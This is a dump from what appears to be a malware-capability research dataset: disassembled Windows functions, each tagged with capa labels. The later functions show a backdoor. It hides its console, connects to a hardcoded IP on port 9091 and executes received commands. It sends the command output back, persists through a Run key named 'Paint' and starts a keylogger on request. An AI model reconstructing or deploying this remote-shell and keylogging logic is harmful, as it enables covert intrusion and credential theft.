joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c598e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4cd5a8
cmp edx, dword [eax]
je 0x4c59b0
add eax, 8
inc ecx
cmp eax, 0x4cd638
jl 0x4c59a1
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4cd5a8]
jne 0x4c5ade
mov eax, dword [0x4d1c80]
cmp eax, 1
je 0x4c5ab8
test eax, eax
jne 0x4c59e1
cmp dword [0x4cd4ec], 1
je 0x4c5ab8
cmp edx, 0xfc
je 0x4c5ade
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4c5a18
lea eax, [ebp - 0x1a4]
push 0x4c9b84
push eax
call fcn.004c60a0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004c62d0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4c5a5b
lea eax, [ebp - 0x1a4]
push eax
call fcn.004c62d0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c9b80
push edi
call fcn.004c7aa0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c9b64
push eax
call fcn.004c60a0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004c60b0
lea eax, [ebp - 0xa0]
push 0x4c9b60
push eax
call fcn.004c60b0
push dword [esi + 0x4cd5ac]
lea eax, [ebp - 0xa0]
push eax
call fcn.004c60b0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c9b38
push eax
call fcn.004c7a14
add esp, 0x2c
pop edi
jmp 0x4c5ade
lea eax, [ebp + 8]
lea esi, [esi + 0x4cd5ac]
push 0
push eax
push dword [esi]
call fcn.004c62d0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x404690
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x426004]
jne 0x40469a
repz ret
jmp fcn.00404900
Function at 0x4018c4
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
call fcn.0040e600
mov eax, 0x4170fb
mov dword [0x41808c], eax
mov dword [esp], 0
jmp 0x4018e5
mov eax, 3
cmp eax, dword [esp]
jl 0x401953
mov eax, dword [0x41808c]
movsx eax, byte [eax]
mov dword [esp + 4], eax
inc dword [0x41808c]
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
mov ebx, dword [esp + 0xc]
imul ebx, ebx, 0xffffffff
push ebx
call fcn.00405d90
lea eax, [esp + 0xc]
push eax
call fcn.0040e500
mov edx, dword [esp + 0xc]
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e660
mov edx, dword [esp + 0xc]
push edx
call fcn.0040e660
lea eax, [esp + 0x10]
push eax
call fcn.0040e500
inc dword [esp]
jno 0x4018e5
push 0x400
call fcn.0040a1c0
mov dword [esp + 0x10], eax
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
call fcn.0040ad76
lea eax, [esp + 0x18]
push eax
call fcn.0040e500
push dword [esp + 0x10]
push 0
mov eax, 0x417020
push eax
push dword [esp + 0x20]
call sub.KERNEL32.dll_GetTempFileNameW
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
push dword [esp + 0x18]
call fcn.0040a1e0
lea eax, [0x4180d0]
push eax
call fcn.0040e500
push dword [0x4180d0]
call fcn.0040ae07
push dword [0x4180d0]
call fcn.0040ace5
push dword [esp + 0x10]
push 0
mov eax, 0x417020
push eax
push dword [0x4180d0]
call sub.KERNEL32.dll_GetTempFileNameW
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
push dword [esp + 0x18]
call fcn.0040a1e0
lea eax, [0x418084]
push eax
call fcn.0040e500
push dword [0x418084]
call fcn.0040ae07
push dword [0x418084]
call fcn.0040ace5
push dword [esp + 0x10]
push 0
mov eax, 0x417020
push eax
push dword [0x418084]
call sub.KERNEL32.dll_GetTempFileNameW
push dword [0x418084]
call sub.SHLWAPI.DLL_PathAddBackslashW
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
push dword [esp + 0x18]
call fcn.0040a1e0
lea eax, [0x418098]
push eax
call fcn.0040e500
push dword [0x418098]
call fcn.0040ae07
push dword [esp + 0xc]
push dword [0x418098]
call sub.SHLWAPI.DLL_PathRenameExtensionW
push dword [esp + 0x10]
push 0
mov eax, 0x417020
push eax
push dword [0x418084]
call sub.KERNEL32.dll_GetTempFileNameW
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
push dword [esp + 0x18]
call fcn.0040a1e0
lea eax, [0x4180c8]
push eax
call fcn.0040e500
push dword [esp + 0x10]
call fcn.0040a1a0
jmp 0x401ad8
push dword [esp + 0x14]
call fcn.0040e590
push dword [esp + 8]
call fcn.0040e590
push dword [esp + 0xc]
call fcn.0040e590
add esp, 0x18
pop ebx
ret
Function at 0x401f12
Capabilities:
Delete directory

Disassembly:
push ebx
xor eax, eax
push eax
call fcn.0040e600
mov ebx, dword [esp]
cmp ebx, 1
jne 0x401f3d
push dword [0x418070]
call fcn.004053c1
and eax, eax
je 0x401f3d
push dword [0x418070]
call fcn.00405430
push dword [0x4180c8]
call fcn.0040ae07
push dword [0x4180b8]
call fcn.0040ae07
call fcn.004033d5
push dword [0x418098]
call fcn.0040ae07
push dword [0x418084]
call sub.KERNEL32.dll_RemoveDirectoryW
push dword [0x4180d0]
call sub.KERNEL32.dll_RemoveDirectoryW
push dword [esp + 0xc]
jmp 0x4011b6

Function at 0x4023f5
Capabilities:
Accept command line arguments

Disassembly:
push ebx
mov edx, 9
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x4023fb
call fcn.0040e600
push dword [esp + 0x2c]
call fcn.004051a0
mov eax, 0x4170c4
mov dword [0x41808c], eax
mov dword [esp], 0
jmp 0x402429
mov eax, 6
cmp eax, dword [esp]
jl 0x402497
mov eax, dword [0x41808c]
movsx eax, byte [eax]
mov dword [esp + 4], eax
inc dword [0x41808c]
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
mov ebx, dword [esp + 0xc]
imul ebx, ebx, 0xffffffff
push ebx
call fcn.00405d90
lea eax, [esp + 0xc]
push eax
call fcn.0040e500
mov edx, dword [esp + 0xc]
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e660
mov edx, dword [esp + 0xc]
push edx
call fcn.0040e660
lea eax, [esp + 0x10]
push eax
call fcn.0040e500
inc dword [esp]
jno 0x402429
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
call sub.KERNEL32.dll_GetCommandLineW
push eax
call fcn.0040a1e0
lea eax, [esp + 0x14]
push eax
call fcn.0040e500
mov edx, dword [esp + 0x10]
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e660
lea eax, [esp + 0x18]
push eax
call fcn.0040e500
mov eax, dword [esp + 0x14]
push eax
call sub.SHLWAPI.DLL_PathRemoveArgsW
mov dword [esp + 0x18], eax
push dword [esp + 0x14]
call fcn.00405700
mov dword [esp + 0x1c], eax
mov ebx, dword [esp + 0x1c]
and ebx, ebx
jle 0x402555
push edx
call fcn.0040e4c0
pop edx
push eax
mov edx, 0x417026
push edx
call fcn.0040e660
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
mov ebx, dword [esp + 0x30]
inc ebx
push ebx
push dword [esp + 0x28]
call fcn.004060b0
call fcn.00405182
add dword [esp], edx
call fcn.00406000
pop eax
lea eax, [esp + 0x24]
push eax
call fcn.0040e500
push dword [esp + 0x20]
push dword [esp + 0x10]
call fcn.00409945
mov edx, dword [esp + 0x20]
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e660
pop eax
push eax
call fcn.00405170
pop edx
add eax, edx
jmp 0x40258a
push dword [esp + 0x14]
call fcn.0040e590
push dword [esp + 8]
call fcn.0040e590
push dword [esp + 0x10]
call fcn.0040e590
push dword [esp + 0xc]
call fcn.0040e590
push dword [esp + 0x20]
call fcn.0040e590
add esp, 0x24
pop ebx
ret
Function at 0x4025bc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
xor eax, eax
push eax
push eax
call fcn.0040e600
push dword [esp + 0x10]
push dword [esp + 0x10]
call sub.KERNEL32.dll_LoadResource
mov dword [esp], eax
push dword [esp + 0x10]
push dword [esp + 0x10]
call sub.KERNEL32.dll_SizeofResource
mov dword [0x418078], eax
push dword [0x418078]
call fcn.0040a1c0
mov dword [esp + 4], eax
push dword [0x418078]
push dword [esp + 8]
push dword [esp + 8]
call fcn.0040a2a0
push dword [esp]
call sub.KERNEL32.dll_FreeResource
mov eax, dword [esp + 4]
jmp 0x402619
add esp, 8
ret 8

Function at 0x402ac5
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov edx, 9
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x402acb
call fcn.0040e600
lea eax, [esp]
push eax
call sub.KERNEL32.dll_GetNativeSystemInfo
lea ebp, [esp]
cmp word [ebp], 0
je 0x402af7
mov eax, 1
jmp 0x402af9
xor eax, eax
add esp, 0x24
pop ebp
ret
Function at 0x403179
Capabilities:
Get common file path

Disassembly:
push ebx
mov edx, 7
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x40317f
call fcn.0040e600
push dword [esp + 0x2c]
call fcn.004051a0
mov edx, dword [esp + 0x24]
lea ecx, [esp]
call fcn.00405060
mov edx, dword [esp + 0x28]
lea ecx, [esp + 4]
call fcn.00405060
call fcn.00402ac5
and eax, eax
je 0x4031cf
call fcn.00405573
mov ebx, eax
cmp ebx, 0x41
je 0x4031cf
mov eax, 1
jmp 0x4031d1
xor eax, eax
and eax, eax
je 0x40333f
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
push 0x800
call fcn.00406260
lea eax, [esp + 0xc]
push eax
call fcn.0040e500
push 0x800
push dword [esp + 0xc]
call sub.KERNEL32.dll_GetWindowsDirectoryW
push dword [esp + 8]
call sub.SHLWAPI.DLL_PathAddBackslashW
mov edx, dword [esp + 8]
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e660
mov edx, str.sysnative
push edx
call fcn.0040e660
lea eax, [esp + 0xc]
push eax
call fcn.0040e500
push dword [esp + 8]
call sub.SHLWAPI.DLL_PathAddBackslashW
mov edx, dword [esp + 8]
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e660
mov edx, dword [esp + 4]
push edx
call fcn.0040e660
lea eax, [esp + 0x10]
push eax
call fcn.0040e500
mov edx, dword [esp + 8]
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e660
mov edx, dword [esp + 4]
push edx
call fcn.0040e660
mov edx, dword [esp + 8]
push edx
call fcn.0040e660
lea eax, [esp + 0x14]
push eax
call fcn.0040e500
push dword [esp + 0xc]
push 0
call fcn.0040b3e0
and eax, eax
je 0x4032c0
mov dword [esp + 0x14], 1
push 0
call fcn.0040aff0
jmp 0x4032c8
mov dword [esp + 0x14], 0
push dword [esp + 0x10]
push 0
call fcn.0040b3e0
and eax, eax
je 0x4032ee
mov dword [esp + 0x18], 1
push 0
call fcn.0040aff0
jmp 0x4032f6
mov dword [esp + 0x18], 0
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 0x18]
and ebx, ebx
jne 0x40333d
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
push 0x800
call fcn.00406260
lea eax, [esp + 0xc]
push eax
call fcn.0040e500
push 0x800
push dword [esp + 0xc]
call sub.KERNEL32.dll_GetSystemDirectoryW
push dword [esp + 8]
call sub.SHLWAPI.DLL_PathAddBackslashW
jmp 0x40337a
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e4c0
pop edx
push eax
push 0x800
call fcn.00406260
lea eax, [esp + 0xc]
push eax
call fcn.0040e500
push 0x800
push dword [esp + 0xc]
call sub.KERNEL32.dll_GetSystemDirectoryW
push dword [esp + 8]
call sub.SHLWAPI.DLL_PathAddBackslashW
mov edx, dword [esp + 8]
push edx
call fcn.0040e4c0
pop edx
push eax
push edx
call fcn.0040e660
pop eax
push eax
call fcn.00405170
pop edx
add eax, edx
jmp 0x4033a2
push dword [esp + 0x10]
call fcn.0040e590
push dword [esp]
call fcn.0040e590
push dword [esp + 4]
call fcn.0040e590
push dword [esp + 8]
call fcn.0040e590
push dword [esp + 0xc]
call fcn.0040e590
add esp, 0x1c
pop ebx
ret 8
Function at 0x4033d5
Capabilities:
Delete directory

Disassembly:
push ebp
push ebx
xor eax, eax
push eax
call fcn.0040e600
mov ebx, dword [0x418088]
cmp ebx, 1
jne 0x403482
push dword [0x418100]
call fcn.0040aa63
mov ebx, eax
and ebx, ebx
jle 0x403429
push dword [0x418100]
call fcn.0040aa6d
push dword [0x418100]
call fcn.0040aa82
or eax, eax
je 0x403429
mov ebp, dword [0x418104]
push dword [ebp + 8]
call fcn.0040ae07
jmp 0x40340a
push dword [0x4180f8]
call fcn.0040aa63
mov dword [esp], eax
mov ebx, dword [esp]
and ebx, ebx
jle 0x403482
push 5
push 0
push 1
push dword [0x4180f8]
call fcn.00406f50
push dword [0x4180f8]
call fcn.0040aa6d
push dword [0x4180f8]
call fcn.0040aa82
or eax, eax
je 0x403482
mov ebp, dword [0x4180fc]
push dword [ebp + 0xc]
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x403463
mov eax, 1
jmp 0x40348b
add esp, 4
pop ebx
pop ebp
ret

Function at 0x405430
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
push 0
push edi
call fcn.004053e4
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, 0x418708
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [0x41811c]
jmp 0x405461
cmp dword [esi + 0xc], edi
je 0x405467
mov esi, dword [esi]
test esi, esi
jne 0x40545a
jmp 0x40547f
add esi, 8
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0x41811c
call fcn.0040e152
pop ecx
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
ret 4

Function at 0x40548c
Capabilities:
Create thread

Disassembly:
push ecx
push ebp
push esi
lea eax, [esp + 8]
xor esi, esi
push eax
push esi
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, eax
test ebp, ebp
je 0x405524
push edi
push 0x418708
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x41811c]
test edi, edi
je 0x4054f8
push ebx
push esi
lea ebx, [edi + 8]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4054f1
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [edi]
push ebx
push 0x41811c
call fcn.0040e152
pop ecx
pop ecx
jmp 0x4054f3
mov edi, dword [edi]
test edi, edi
jne 0x4054c8
pop ebx
mov eax, dword [0x417104]
mov esi, eax
inc eax
push 0x10
push 0x41811c
mov dword [0x417104], eax
call fcn.0040e192
pop ecx
pop ecx
push 0x418708
mov dword [eax], ebp
mov dword [eax + 4], esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov eax, esi
pop esi
pop ebp
pop ecx
ret 8
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40706c], 1
mov dword [0x407068], 1
mov dword [0x407064], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40700c], eax
mov eax, dword [0x407078]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40708c]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x407074]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x404014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056
Function at 0x401852
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0xc], 2
mov dword [esp + 8], 1
lea eax, [ebp - 0xd]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4018ad
mov eax, dword [sym.imp.WSOCK32.DLL_WSAGetLastError]
call eax
cmp eax, 0x2733
je 0x4018ad
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_closesocket]
call eax
sub esp, 4
mov eax, 0
jmp 0x4018b2
mov eax, 1
leave
ret

Function at 0x4018b4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [0x40703c], eax
jmp 0x4018f3
mov dword [esp], 0x2710
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [0x40703c]
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x407040
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
jne 0x4018e2
call sym._Shell
nop
leave
ret

Function at 0x401a20
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 4], 0x405046
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__popen]
call eax
mov dword [ebp - 0xc], eax
jmp 0x401a52
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sym._strcat
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x400
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fgets
test eax, eax
jne 0x401a40
mov eax, dword [0x40703c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x47d0
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
nop
leave
ret
Function at 0x401aa9
Capabilities:
Persist via run registry key
Send data
Send data on socket
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1ac
mov dword [ebp - 0x28], 0x6c696146
mov dword [ebp - 0x24], 0xa6465
lea eax, [ebp - 0x82]
mov ebx, str.Created_Persistence_At_:_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun_n
mov edx, 0x5a
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x186]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x401b60
mov eax, dword [0x40703c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 8
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x401c87
lea eax, [ebp - 0x18c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call eax
sub esp, 0xc
test eax, eax
je 0x401bbc
mov eax, dword [0x40703c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 8
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x401c87
mov eax, dword [ebp - 0x18c]
mov edx, dword [ebp - 0x20]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x186]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Paint
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
test eax, eax
je 0x401c41
mov eax, dword [ebp - 0x18c]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov eax, dword [0x40703c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 8
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x401c87
mov eax, dword [ebp - 0x18c]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov eax, dword [0x40703c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x5a
lea eax, [ebp - 0x82]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401c8f
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5008
call fcn.00402f00
sub esp, eax
jmp 0x401e8d
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x47d0
mov dword [esp + 4], 0
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sym._memset
mov eax, dword [0x40703c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [esp + 8], 4
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], str.quit
call sym._strncmp
test eax, eax
jne 0x401d72
mov eax, dword [0x40703c]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WSOCK32.DLL_WSACleanup]
call eax
mov dword [esp], 0
call sym._exit
mov dword [esp + 8], 3
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], 0x4050db
call sym._strncmp
test eax, eax
jne 0x401ddf
mov dword [esp + 8], 0x64
mov dword [esp + 4], 3
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._slice_str
mov dword [esp], eax
call sym._chdir
lea eax, [ebp - 0x4fdc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x80c]
mov dword [esp + 4], eax
mov dword [esp], 0x4050df
call sym._runCmd
jmp 0x401e8d
mov dword [esp + 8], 7
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], str.persist
call sym._strncmp
test eax, eax
jne 0x401e0b
call sym._editRegistry
jmp 0x401e8d
mov dword [esp + 8], 0xf
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], str.start_keylogger
call sym._strncmp
test eax, eax
jne 0x401e6b
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._logKey_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
jmp 0x401e8d
lea eax, [ebp - 0x4fdc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x80c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._runCmd
mov eax, dword [0x40703c]
mov dword [esp], eax
call sym._connected
test al, al
jne 0x401ca3
call sym._reconnect
nop
leave
ret
Function at 0x401eaa
Capabilities:
Hide graphical window
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
mov eax, dword [sym.imp.KERNEL32.dll_AllocConsole]
call eax
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
lea eax, [ebp - 0x19c]
mov dword [esp + 4], eax
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x401f19
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
mov dword [esp], 0x407040
call sym._memset
mov word [0x407040], 2
mov dword [esp], str.45.142.214.130
mov eax, dword [sym.imp.WSOCK32.DLL_inet_addr]
call eax
sub esp, 4
mov dword [0x407044], eax
mov dword [esp], 0x2383
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [0x407042], ax
call sym._reconnect
nop
leave
ret 0x10

Function at 0x4021e0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]